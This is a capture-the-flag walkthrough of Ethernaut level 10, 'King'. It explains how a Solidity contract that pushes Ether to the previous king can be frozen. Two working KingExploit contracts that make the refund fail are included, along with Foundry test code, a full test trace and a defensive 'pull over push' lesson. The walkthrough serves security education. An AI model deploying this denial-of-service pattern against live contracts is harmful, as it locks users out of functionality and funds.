CTF walkthrough, Ethernaut, #10 King

The goal of this level is to break the game defined by the King contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

contract King {
    address payable king;
    address payable public owner;

    uint256 public prize;

    constructor() payable {
        owner = payable(msg.sender);
        king = payable(msg.sender);
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        king.transfer(msg.value);
        king = payable(msg.sender);
        prize = msg.value;
    }

    function _king() public view returns (address payable) {
        return king;
    }
}

Here is how the game checks if we passed:

address(instance).call{value: 0}("");
return instance._king() != address(this);

It tries to reclaim the kingship, hence “to break the game” means that we must prevent it from restoring the kingship.

Analysis

There are 3 state variables in the King contact:

address payable king;
address payable public owner;

uint256 public prize;

We start with the king and the owner set to a deployer of the King contract, which is the levelFactory – contract responsible for setting up the level and checking the winning conditions.

constructor() payable {
    owner = payable(msg.sender);
    king = payable(msg.sender);
    prize = msg.value;
}

So this is our initial state:

assertEq(level._king(), address(levelFactory));
assertEq(level.prize(), 0);

Now, let’s have a look at the receive function:

 receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = payable(msg.sender);
    prize = msg.value;
}

To become a new king we need to send the same or more ETH than the current prize. Then the contract will transfer the current prize to the previous king, set our address as the new king, and update the prize state variable with the amount of ETH we sent.

The problem is an assumption that the king.transfer(msg.value) call will succeed. Imagine that the transfer always fails, then no one can ever become a new king.

Solution

We’ll need another contract for exploit. There are 2 ways to implement it so that it breaks the transfer logic.

  1. Define neither fallback nor receive function.
  2. Implement one of these functions, but immediately revert.

For example, let’s try #2:

 contract KingExploit {
    address payable level;

    constructor(King _king) {
        level = payable(address(_king));
    }

    function run() public payable {
        (bool success,) = level.call{value: msg.value}("");
        require(success, "failed to send ether");
    }

    receive() external payable {
        revert("muhahaha");
    }
}

Now, let’s make it a king:

function exploit() internal override {
    vm.startPrank(player);
    KingExploit expl = new KingExploit(level);
    expl.run{value: 1 wei}();
    vm.stopPrank();
}

This is it! The trace:

$ forge test --match-contract KingTest -vvvv

Running 1 test for src/test/King.t.sol:KingTest
[PASS] testKing() (gas: 431179)
Traces:
  [431179] KingTest::testKing()
    ├─ [215833] KingTest::create()
    │   ├─ [0] VM::prank(player: [...])
    │   │   └─ ← ()
    │   ├─ [203485] Ethernaut::createLevelInstance(KingFactory: [...])
    │   │   ├─ [151922] KingFactory::createInstance(player: [...])
    │   │   │   ├─ [119381] → new King@"0x037f…dd8f"
    │   │   │   │   └─ ← 364 bytes of code
    │   │   │   └─ ← King: [...]
    │   │   ├─ emit LevelInstanceCreatedLog(player: player: [...], instance: King: [...])
    │   │   └─ ← King: [...]
    │   └─ ← King: [...]
    ├─ [287] King::_king() [staticcall]
    │   └─ ← KingFactory: [...]
    ├─ [317] King::prize() [staticcall]
    │   └─ ← 0
    ├─ [0] VM::startPrank(player: [...])
    │   └─ ← ()
    ├─ [86666] → new KingExploit@"0xa2f9…f3a7"
    │   └─ ← 321 bytes of code
    ├─ [34652] KingExploit::run{value: 1}()
    │   ├─ [27516] King::fallback{value: 1}()
    │   │   ├─ [55] KingFactory::fallback{value: 1}()
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    ├─ [0] VM::startPrank(player: [...])
    │   └─ ← ()
    ├─ [5470] Ethernaut::submitLevelInstance(King: [...])
    │   ├─ [2423] KingFactory::validateInstance(King: [...], player: [...])
    │   │   ├─ [838] King::fallback()
    │   │   │   ├─ [167] KingExploit::fallback()
    │   │   │   │   └─ ← "muhahaha"
    │   │   │   └─ ← "muhahaha"
    │   │   ├─ [287] King::_king() [staticcall]
    │   │   │   └─ ← KingExploit: [...]
    │   │   └─ ← true
    │   ├─ emit LevelCompletedLog(player: player: [...], level: KingFactory: [...])
    │   └─ ← true
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; finished in 1.09ms

Let’s try omitting the receive and fallback functions:

contract KingExploit {
    function run(address _king) public payable {
        (bool success, ) = payable(_king).call{value: msg.value}("");
        require(success, "failed to send ether");
    }
}

Actually, we don’t need to send any Ether because the initial prize is 0:

function exploit() internal override {
    vm.startPrank(player);

    KingExploit expl = new KingExploit();
    (new KingExploit()).run(address(level));

    vm.stopPrank();
}

This works too 😜

Lessons learned

It is important to handle failed transactions properly. When sending ETH always keep in mind that the transaction might fail because of the following reasons:

  • The receiving contract has receive or fallback function that always throws an error/reverts.
  • Either of the receive or fallback functions consumes too much gas (for no reason).
  • Absence of the receive and fallback functions means that a contract cannot receive Ether through regular transactions and throws an exception.

Favor pull over push for external calls.

References


The code and solution for this challenge is here. Let’s move on to #11 Re-entrancy!